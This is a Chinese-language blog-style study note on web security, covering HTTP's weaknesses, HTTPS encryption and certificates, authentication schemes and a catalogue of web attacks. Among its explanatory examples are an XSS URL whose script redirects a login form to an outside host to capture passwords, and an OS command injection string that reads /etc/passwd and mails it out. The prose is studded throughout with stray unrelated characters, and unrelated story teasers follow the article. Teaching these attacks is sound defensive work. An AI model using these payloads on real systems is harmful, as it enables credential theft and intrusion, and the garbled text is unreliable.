http安全學習

web安全

互聯(lián)網(wǎng)上任何角落都存在通信內(nèi)容被竊聽的風險

http的缺點

    1. 通信使用明文(不加密)主穗,明文報文不具備保密性圃伶,內(nèi)容可能被竊聽
    1. 不驗證通信方的身份(不進行身份驗證)堤如,因此有可能遇到偽裝
    1. 無法證明報文的完整性,所以有可能已遭篡改(無法保證報文未被篡改)

    所以http協(xié)議的不足概括的講就是:內(nèi)容保密性窒朋、身份驗證、內(nèi)容完整性;這些問題在其他未加密的協(xié)議中也會存在

問題

  • 初狰?為什么說java和http等編程語言開發(fā)的應(yīng)用程序也可能存在安全漏洞
  • wireshark抓包工具獲取http協(xié)議的請求和響應(yīng)內(nèi)容隘冲,三次握手

針對加密

  • SSL: 提供認證和加密處理以及摘要功能,是應(yīng)用最為廣泛的網(wǎng)絡(luò)安全技術(shù)
  • 通信的加密:通過和SSL(Secure Socket Layer,安全套接層)或TLS(Transport Layer Security,安全傳輸層)的組合使用欺劳。加密http的通信內(nèi)容唧取。與SSL組合使用的http就是https或者http over ssl
  • 內(nèi)容的加密:將參與的通信內(nèi)容本身加密铅鲤,需要客戶端和服務(wù)器同時具備加密和解密機制

    由于通過內(nèi)容加密不同于SSL或TSL將整個通信線路加密,所以內(nèi)容仍然會被篡改枫弟;

    組合模式暗含職責單一的設(shè)計原則邢享,http協(xié)議的安全性通過組合SSL來實現(xiàn)。兩者各司其職淡诗,又可以根據(jù)場景組合使用骇塘,靈活性很高。


https

HTTP+加密+認證+完整性保護=HTTPS

通信方式

  • http是直接和tcp通信
  • https 是http先和ssl通信韩容,在由ssl和tcp通信
  • 采用ssl后款违,http就擁有了https的加密、證書和完整性保護這些功能

加密方式

  • 共享密鑰加密
加密和解密同用一個密鑰的方式宙攻,也被稱為對稱密鑰加密奠货。

發(fā)送密鑰就會存在被竊聽的風險,但不發(fā)送座掘,對方就不能解密递惋。再者密鑰若是能夠安全的發(fā)送,那數(shù)據(jù)也應(yīng)該能安全的送達
  • 公開密鑰加密
SSL采用公開密鑰加密

公開密鑰加密使用一對非對稱的密鑰溢陪。發(fā)送密文的一方使用對方的公開密鑰進行加密處理萍虽,收到被加密的信息后,在使用自己的私有密鑰進行解密
  • https采用混合加密機制
https采用共享密鑰加密和公開密鑰加密并用的混合加密機制

公開密鑰加密與共享密鑰加密相比形真,加密方式更為復雜杉编,其處理速度要慢,因此若在通信時使用公開密鑰加密咆霜,效率就很低邓馒。

所以交換密鑰環(huán)節(jié)使用公開密鑰加密方式,之后建立通信交換報文階段使用則使用共享密鑰加密方式

證明公開密鑰正確性的證書

密鑰在傳輸?shù)倪^程中也可能被攻擊者截取蛾坯,所以在加密時無法確認收到的公開密鑰就是希望得到的密鑰

  • 公開密鑰證書
數(shù)字認真機構(gòu)(CA光酣,Certificate Authority)和其相關(guān)機構(gòu)頒發(fā)的公開密鑰證書
  • 可證明組織真實性的EV SSL證書
證明作為通信一方的服務(wù)器是否規(guī)范

確認對方服務(wù)器背后運營的企業(yè)是否真實存在
  • 客戶度端證書
客戶端證書用于特殊用途。比如可支撐客戶端證書支出費用的業(yè)務(wù)脉课,銀行的網(wǎng)上銀行就采用了客戶端證書
  • 自簽名證書: 自由認證機構(gòu)頒發(fā)的證書
使用openssl開源程序救军,每個人都可以構(gòu)建一套屬于自己的認證機構(gòu),從而給自己頒發(fā)服務(wù)器證書

瀏覽器訪問自簽名證書服務(wù)器會顯示無法確認鏈接安全性或者該網(wǎng)站的安全證書存在問題等警告信息

https缺點

  • 由于https還需要做服務(wù)器倘零,客戶端雙方加密以及解密處理唱遭,因此會消耗cpu和內(nèi)存等硬件資源
  • 和http相比,ssl通信部分消耗網(wǎng)絡(luò)資源呈驶。而ssl通信部分拷泽,又因為要對通信進行處理所以時間上又延長了
  • 和http相比,網(wǎng)絡(luò)負載可能會變慢2到100倍

因此非敏感信息使用http通信,只有在包含個人信息等敏感數(shù)據(jù)才使用https通信司致,另外使用證書必須向認證機構(gòu)購買


認證機制

  • BASIC認證(基本認證)
  • DIGEST認證(摘要認證)
  • SSL客戶端認證
  • FormBase認證(基于表單認證)

web攻擊

來自互聯(lián)網(wǎng)的攻擊大多是針對web站點

所有網(wǎng)站都會使用會話(session)管理订晌、加密處理等安全性方面的功能,而http協(xié)議內(nèi)并不具備這些功能

因此開發(fā)者需要自行設(shè)計并開發(fā)認證以及會話管理功能蚌吸,而自行設(shè)計就意味著會出現(xiàn)各種形形色色的實現(xiàn)

結(jié)果安全等級并不完備锈拨,可仍在運作的web應(yīng)用背后隱藏這各種容易被攻擊者濫用的安全漏洞的bug

攻擊模式

  • 主動攻擊
攻擊者直接訪問web應(yīng)用,把攻擊代碼傳入的攻擊模式羹唠,由于該模式是直接針對服務(wù)器上的資源進行攻擊奕枢,因此攻擊者需要能夠訪問到哪些資源

代表性的SQL注入攻擊和OS命令注入攻擊
  • 被動攻擊
利用全套策略執(zhí)行攻擊代碼。在被動攻擊過程中佩微,攻擊者不直接對目標應(yīng)用訪問發(fā)起攻擊

利用被動攻擊缝彬,可以發(fā)起對原本從互聯(lián)網(wǎng)上無法直接訪問的企業(yè)內(nèi)網(wǎng)等網(wǎng)絡(luò)的攻擊

代表性的跨站腳本攻擊和跨站點請求偽造

因輸出值轉(zhuǎn)義不完全引發(fā)的安全漏洞

客戶端驗證-->(http請求)-->輸入-->處理-->輸出
   -->http響應(yīng)
   -->訪問db數(shù)據(jù)庫
   -->訪問文件服務(wù)器

針對輸出值做轉(zhuǎn)義是一項至關(guān)重要的安全策略。當輸入值轉(zhuǎn)義不完全時哺眯,會觸發(fā)攻擊者傳入的代碼
  • 1.跨站腳本攻擊
是指在瀏覽器內(nèi)運行非法HTML標簽或者javascript進行的一種攻擊
發(fā)生在動態(tài)生成html
如在輸入框內(nèi)輸入“<s>姓名</s>”經(jīng)過瀏覽器解析后會顯示刪除線
通彻惹常可以通過標簽偽造輸入頁面

實現(xiàn):
利用虛假輸入表單騙取用戶個人信息
對用戶cookie的竊取攻擊
    • 原url和網(wǎng)址


      1.png
    • 受攻擊的url
http://example.jp/login? ID="><script>var+f=document=>.getElementById("login"); +f.action="http://hackr.jp/pwget"; +f.method==>"get";</script><span+s="
    • 用戶點擊受攻擊后url的效果


      2.png
  • 2.sql注入攻擊
是指運行非法的sql產(chǎn)生的攻擊

實現(xiàn):
非法查看或者篡改數(shù)據(jù)庫內(nèi)的數(shù)據(jù)
規(guī)避認證
執(zhí)行和數(shù)據(jù)庫服務(wù)器業(yè)務(wù)關(guān)聯(lián)的程序
    • 期望的結(jié)果


      3.png
    • 用戶輸入值“上官野' --”


      4.png
    • 代碼中的實現(xiàn)


      5.png
  • 3.os命令注入攻擊
執(zhí)行非法的操作系統(tǒng)命令達到攻擊的目的,只要在能調(diào)用shell函數(shù)的地方就存在被攻擊的風險

實現(xiàn):
利用shell發(fā)送郵件 
獲取系統(tǒng)密碼 cat /etc/passwd; mail XXXX@silas.com
  • 4.http首部注入攻擊
攻擊者通過在響應(yīng)首部字段插入換行奶卓。添加任意響應(yīng)首部或者主體的一種攻擊
http響應(yīng)截斷攻擊

實現(xiàn):
設(shè)置任何的cookie信息
重定向至任意的url
顯示任意的主體
    • 利用在首部添加兩次換行一疯,可以偽造用戶瀏覽器顯示的網(wǎng)頁,在讓用戶輸入個人信息夺姑,可達到和跨站腳本攻擊類似的效果
  • 5.郵件首部注入攻擊

攻擊者通過向郵件首部To或Subject內(nèi)任意添加非法內(nèi)容發(fā)起的攻擊

實現(xiàn):
廣告郵件
病毒郵件
  • 6.目錄遍歷攻擊
通過非法截斷其目錄路徑后墩邀,達成訪問的一種攻擊,也稱為路徑遍歷(Path Traversal)攻擊盏浙。

實現(xiàn):
通過../非法瀏覽眉睹、篡改、刪除web服務(wù)器上的文件

因設(shè)置或設(shè)計上的缺陷引發(fā)的安全漏洞

  • 1.強制瀏覽
從安置在web服務(wù)器的公開目錄下的文件中废膘,瀏覽那些原本非自愿公開的文件

實現(xiàn):
泄漏顧客的個人信息等
泄漏原本需要訪問權(quán)限的用戶才可以查閱的信息內(nèi)容
泄漏未外連到外界的文件
    • 通過已知url推測出其他的url
  • 2.不正確的錯誤消息處理

應(yīng)用程序的錯誤信息包含對攻擊者有用的錯誤信息

實現(xiàn):
web應(yīng)用拋出的錯誤信息
數(shù)據(jù)庫等系統(tǒng)拋出的錯誤信息
    • 輸入用戶名時提示用戶未注冊可以讓攻擊者確認該賬號是否存在
  • 3.開放重定向

對指定的任意url作重定向跳轉(zhuǎn)的功能

實現(xiàn):
指定的url重定向到具有惡意的web網(wǎng)站竹海,用戶就可以被誘導

-- http://test.sials.com?redirect=http://test.hh.com


因會話管理疏忽引發(fā)的安全漏洞

會話管理的疏忽導致用戶的認證狀態(tài)被竊取
  • 1.會話劫持
攻擊者通過某種手段拿到用戶的會話id。并非法使用此會話id丐黄,達到攻擊的目的

獲取會話id的途徑:
通過非正規(guī)的生成方法推測會話id
通過竊聽或者XSS攻擊盜取會話id
  • 2.會話固定攻擊
強制用戶使用攻擊者指定的會話id

攻擊者先訪問web網(wǎng)站拿到未認證的會話id
誘導用戶使用這個id去認證
攻擊者得到認證的會話id
  • 3.跨站的請求偽造
攻擊者通過設(shè)置好的陷阱斋配,強制對已完成認證的用戶進行非預期的個人信息或設(shè)定信息等的更新

實現(xiàn):
利用已通過認證的用戶權(quán)限購買商品

其他安全漏洞

  • 1.密碼破解
通過網(wǎng)絡(luò)的密碼試錯
對已加密密碼的破解(指攻擊者入侵系統(tǒng),已獲取加密或者散列處理的密碼數(shù)據(jù)的情況)
  • 2.點擊劫持
利用透明的按鈕或者鏈接做成陷阱孵稽,覆蓋在web網(wǎng)頁之上
  • 3.DOS攻擊
DOS(Denial of Service attack) 是一種讓運行中的服務(wù)呈停止狀態(tài)的攻擊许起,有時也叫服務(wù)停止攻擊或者拒絕服務(wù)攻擊十偶。DOS攻擊很難預防

多臺計算機發(fā)起的DoS攻擊稱為DDos攻擊(Distributed Denial of Serive attack)

實現(xiàn):
集中利用訪問請求造成資源過載菩鲜,資源用盡的同時,實際上服務(wù)也就呈停止狀態(tài)
通過攻擊安全漏洞使服務(wù)停止
  • 4.后門程序
開發(fā)者設(shè)置的隱藏入口
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末惦积,一起剝皮案震驚了整個濱河市接校,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖蛛勉,帶你破解...
    沈念sama閱讀 217,907評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件鹿寻,死亡現(xiàn)場離奇詭異,居然都是意外死亡诽凌,警方通過查閱死者的電腦和手機毡熏,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,987評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來侣诵,“玉大人痢法,你說我怎么就攤上這事《潘常” “怎么了财搁?”我有些...
    開封第一講書人閱讀 164,298評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長躬络。 經(jīng)常有香客問我尖奔,道長,這世上最難降的妖魔是什么穷当? 我笑而不...
    開封第一講書人閱讀 58,586評論 1 293
  • 正文 為了忘掉前任提茁,我火速辦了婚禮,結(jié)果婚禮上馁菜,老公的妹妹穿的比我還像新娘甘凭。我一直安慰自己,他們只是感情好火邓,可當我...
    茶點故事閱讀 67,633評論 6 392
  • 文/花漫 我一把揭開白布丹弱。 她就那樣靜靜地躺著,像睡著了一般铲咨。 火紅的嫁衣襯著肌膚如雪躲胳。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,488評論 1 302
  • 那天纤勒,我揣著相機與錄音坯苹,去河邊找鬼。 笑死摇天,一個胖子當著我的面吹牛粹湃,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播泉坐,決...
    沈念sama閱讀 40,275評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼为鳄,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了腕让?” 一聲冷哼從身側(cè)響起孤钦,我...
    開封第一講書人閱讀 39,176評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后偏形,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體静袖,經(jīng)...
    沈念sama閱讀 45,619評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,819評論 3 336
  • 正文 我和宋清朗相戀三年俊扭,在試婚紗的時候發(fā)現(xiàn)自己被綠了队橙。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,932評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡萨惑,死狀恐怖喘帚,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情咒钟,我是刑警寧澤吹由,帶...
    沈念sama閱讀 35,655評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站朱嘴,受9級特大地震影響倾鲫,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜萍嬉,卻給世界環(huán)境...
    茶點故事閱讀 41,265評論 3 329
  • 文/蒙蒙 一乌昔、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧壤追,春花似錦磕道、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,871評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至悼做,卻和暖如春疯特,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背肛走。 一陣腳步聲響...
    開封第一講書人閱讀 32,994評論 1 269
  • 我被黑心中介騙來泰國打工漓雅, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人朽色。 一個月前我還...
    沈念sama閱讀 48,095評論 3 370
  • 正文 我出身青樓邻吞,卻偏偏與公主長得像,于是被迫代替她去往敵國和親葫男。 傳聞我的和親對象是個殘疾皇子抱冷,可洞房花燭夜當晚...
    茶點故事閱讀 44,884評論 2 354